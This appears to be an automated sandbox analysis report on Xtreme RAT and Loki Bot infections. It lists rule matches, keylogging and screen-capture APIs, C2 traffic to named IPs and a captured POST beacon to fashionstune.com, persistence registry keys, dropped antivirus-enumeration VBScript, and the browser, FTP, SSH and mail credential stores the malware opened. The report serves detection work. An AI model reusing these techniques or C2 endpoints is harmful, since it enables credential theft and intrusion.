Source: 15.1.Server.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 34.2.iexplore.exe.c80000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 34.2.iexplore.exe.c80000.2.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 14.1.explorer.exe.1b80000.1.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 14.1.explorer.exe.1b80000.1.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 5.0.svchost.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 5.0.svchost.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 27.0.Server.exe.c80000.1.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 27.0.Server.exe.c80000.1.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 27.0.Server.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 27.0.Server.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 15.0.Server.exe.c80000.2.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 15.0.Server.exe.c80000.2.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 6.2.iexplore.exe.c80000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 6.2.iexplore.exe.c80000.2.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 15.2.Server.exe.c80000.1.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 15.2.Server.exe.c80000.1.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 34.0.iexplore.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 34.0.iexplore.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 15.0.Server.exe.c80000.3.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 15.0.Server.exe.c80000.3.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 5.0.svchost.exe.c80000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 5.0.svchost.exe.c80000.0.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 27.0.Server.exe.c80000.3.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 27.0.Server.exe.c80000.3.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 3.0.server.exe.c80000.3.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 3.0.server.exe.c80000.3.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 34.2.iexplore.exe.c80000.2.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 34.2.iexplore.exe.c80000.2.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 3.0.server.exe.c80000.1.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 3.0.server.exe.c80000.1.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 5.2.svchost.exe.290000.1.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 5.2.svchost.exe.290000.1.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 27.0.Server.exe.c80000.2.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 27.0.Server.exe.c80000.2.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 3.1.server.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 3.1.server.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 5.2.svchost.exe.290000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 5.2.svchost.exe.290000.1.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 6.0.iexplore.exe.c80000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 6.0.iexplore.exe.c80000.0.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality to register a low level keyboard hook

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

Code function: 3_2_00C86946 SetWindowsHookExW 0000000D,Function_00006748,00000000,00000000

3_2_00C86946

Contains functionality for read data from the clipboard

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

Code function: 3_2_00C8389C OpenClipboard,GetClipboardData,GlobalFix,GlobalSize,GlobalUnWire,CloseClipboard,

3_2_00C8389C

Contains functionality to read the clipboard data

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

Code function: 3_2_00C8389C OpenClipboard,GetClipboardData,GlobalFix,GlobalSize,GlobalUnWire,CloseClipboard,

3_2_00C8389C

Contains functionality to record screenshots

Show sources

Source: C:\Users\user\AppData\Local\Temp\358saxio.exe

Code function: 12_2_004254C8 GetObjectA,GetDC,CreateCompatibleDC,CreateBitmap,CreateCompatibleBitmap,GetDeviceCaps,GetDeviceCaps,SelectObject,GetDIBColorTable,GetDIBits,SelectObject,CreateDIBSection,GetDIBits,SelectObject,SelectPalette,RealizePalette,FillRect,SetTextColor,SetBkColor,SetDIBColorTable,PatBlt,CreateCompatibleDC,SelectObject,SelectPalette,RealizePalette,SetTextColor,SetBkColor,BitBlt,SelectPalette,SelectObject,DeleteDC,SelectPalette,

12_2_004254C8

Contains functionality to retrieve information about pressed keystrokes

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

Code function: 3_2_00C86748 GetKeyboardState,GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,VirtualAlloc,SendMessageA,CallNextHookEx,

3_2_00C86748

Software Vulnerabilities:

Exploit detected, runtime environment starts unknown processes

Show sources

Source: C:\Program Files\Java\jre1.8.0_40\bin\java.exe

Process created: C:\Windows\System32\cmd.exe

Found inlined nop instructions (likely shell or obfuscated code)

Show sources

Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 4x nop then mov eax, dword ptr [ebp-04h]		12_2_00481C0C
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 4x nop then mov eax, dword ptr [ebp-04h]		12_2_00481FD4

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49188 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49189 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49190 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49191 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49192 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49193 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49194 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49196 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49199 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2016275 ET TROJAN Win32/Xtrat.A Checkin 192.168.1.16:49205 -> 185.208.211.131:2379
Source: Traffic	Snort IDS: 2016275 ET TROJAN Win32/Xtrat.A Checkin 192.168.1.16:49211 -> 185.208.211.131:2379
Source: Traffic	Snort IDS: 2016275 ET TROJAN Win32/Xtrat.A Checkin 192.168.1.16:49216 -> 185.208.211.131:2379
Source: Traffic	Snort IDS: 2016275 ET TROJAN Win32/Xtrat.A Checkin 192.168.1.16:49220 -> 185.208.211.131:2379
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49221 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49224 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49225 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49226 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49228 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49230 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49231 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49233 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2016275 ET TROJAN Win32/Xtrat.A Checkin 192.168.1.16:49234 -> 185.208.211.131:2379
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49235 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49236 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49239 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49240 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49242 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49243 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2016275 ET TROJAN Win32/Xtrat.A Checkin 192.168.1.16:49245 -> 185.208.211.131:2379
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49246 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49248 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49249 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49250 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN Loki Bot User-Agent (Charon/Inferno) 192.168.1.16:49253 -> 103.48.119.225:80
Source: Traffic	Snort IDS: 2016275 ET TROJAN Win32/Xtrat.A Checkin 192.168.1.16:49255 -> 185.208.211.131:2379
Source: Traffic	Snort IDS: 2016275 ET TROJAN Win32/Xtrat.A Checkin 192.168.1.16:49260 -> 185.208.211.131:2379
Source: Traffic	Snort IDS: 2016275 ET TROJAN Win32/Xtrat.A Checkin 192.168.1.16:49266 -> 185.208.211.131:2379
Source: Traffic	Snort IDS: 2016275 ET TROJAN Win32/Xtrat.A Checkin 192.168.1.16:49270 -> 185.208.211.131:2379
Source: Traffic	Snort IDS: 2016275 ET TROJAN Win32/Xtrat.A Checkin 192.168.1.16:49275 -> 185.208.211.131:2379

Contains functionality to upload files via FTP

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C87918 InternetOpenW,InternetConnectW,FtpSetCurrentDirectoryW,WaitForSingleObject,FtpPutFileW,InternetCloseHandle,InternetCloseHandle,	3_2_00C87918
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C87918 InternetOpenW,InternetConnectW,FtpSetCurrentDirectoryW,WaitForSingleObject,FtpPutFileW,InternetCloseHandle,InternetCloseHandle,	3_1_00C87918
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00C87918 InternetOpenW,InternetConnectW,FtpSetCurrentDirectoryW,WaitForSingleObject,FtpPutFileW,InternetCloseHandle,InternetCloseHandle,	5_2_00C87918
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 6_2_00C87918 InternetOpenW,InternetConnectW,FtpSetCurrentDirectoryW,WaitForSingleObject,FtpPutFileW,InternetCloseHandle,InternetCloseHandle,	6_2_00C87918
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_2_00C87918 InternetOpenW,InternetConnectW,FtpSetCurrentDirectoryW,WaitForSingleObject,FtpPutFileW,InternetCloseHandle,InternetCloseHandle,	15_2_00C87918
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_1_00C87918 InternetOpenW,InternetConnectW,FtpSetCurrentDirectoryW,WaitForSingleObject,FtpPutFileW,InternetCloseHandle,InternetCloseHandle,	15_1_00C87918

Contains functionality to download additional files from the internet

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

Code function: 3_2_00C837C0 DeleteUrlCacheEntryW,DeleteFileW,URLDownloadToFileW,

3_2_00C837C0

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: fashionstune.com

Posts data to webserver

Show sources

Source: unknown

HTTP traffic detected: POST /old/inc/img/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: fashionstune.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F85E9006Content-Length: 186Connection: close

Urls found in memory or binary data

Show sources

Source: server.exe, svchost.exe, iexplore.exe, explorer.exe, Server.exe

String found in binary or memory: http://

Boot Survival:

Creates an autostart registry key pointing to binary in C:\Windows

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKLM

Jump to behavior

Creates an undocumented autostart registry key

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{K5VVB854-OYR7-D8JQ-5HC0-X32C3UKV4ROA} StubPath

Jump to behavior

Creates multiple autostart registry keys

Show sources

Source: C:\Users\user\Desktop\sxz.exe	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run sxz.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKLM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run HKCU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run 358saxio.exe

Creates an autostart registry key

Show sources

Source: C:\Users\user\Desktop\sxz.exe	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run sxz.exe	Jump to behavior
Source: C:\Users\user\Desktop\sxz.exe	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run sxz.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKLM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKLM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run HKCU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run HKCU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run 358saxio.exe
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run 358saxio.exe

Remote Access Functionality:

ADWIND Rat detected

Show sources

Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe	Dropped file: Set oWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\SecurityCenter2")Set colItems = oWMI.ExecQuery("Select * from AntiVirusProduct")For Each objItem in colItems With objItem WScript.Echo "{""AV"":""" & .displayName & """}" End WithNext	Jump to dropped file
Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe	Dropped file: Set oWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\SecurityCenter2")Set colItems = oWMI.ExecQuery("Select * from FirewallProduct")For Each objItem in colItems With objItem WScript.Echo "{""FIREWALL"":""" & .displayName & """}" End WithNext	Jump to dropped file
Source: C:\Program Files\Java\jre1.8.0_40\bin\java.exe	Dropped file: Set oWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\SecurityCenter2")Set colItems = oWMI.ExecQuery("Select * from AntiVirusProduct")For Each objItem in colItems With objItem WScript.Echo "{""AV"":""" & .displayName & """}" End WithNext	Jump to dropped file
Source: C:\Program Files\Java\jre1.8.0_40\bin\java.exe	Dropped file: Set oWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\SecurityCenter2")Set colItems = oWMI.ExecQuery("Select * from FirewallProduct")For Each objItem in colItems With objItem WScript.Echo "{""FIREWALL"":""" & .displayName & """}" End WithNext	Jump to dropped file

Java source code contains strings found in CrossRAT

Show sources

Source: uroi.jar.2.dr	Suspicious string: operational.JRat (in operational/Jrat.java)
Source: _0.71076688945376033550400146700531635.class.4.dr	Suspicious string: operational.JRat (in operational/Jrat.java)

Stealing of Sensitive Information:

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Key opened: HKEY_USERS\Software\9bis.com\KiTTY\Sessions
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Key opened: HKEY_USERS\Software\SimonTatham\PuTTY\Sessions
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Key opened: HKEY_LOCAL_MACHINE\Software\9bis.com\KiTTY\Sessions
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Key opened: HKEY_USERS\Software\Martin Prikryl
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Martin Prikryl

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\secmod.db
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\key3.db
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\cert8.db
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	File opened: HKEY_USERS\Software\NCH Software\ClassicFTP\FTPAccounts
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	File opened: HKEY_USERS\Software\Far2\Plugins\FTP\Hosts
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	File opened: HKEY_LOCAL_MACHINE\Software\NCH Software\ClassicFTP\FTPAccounts
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	File opened: HKEY_USERS\Software\Far\Plugins\FTP\Hosts
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	File opened: HKEY_USERS\Software\FlashPeak\BlazeFtp\Settings

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Key opened: HKEY_USERS\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Key opened: HKEY_LOCAL_MACHINE\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Key opened: HKEY_USERS\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Searches for user specific document files

Show sources

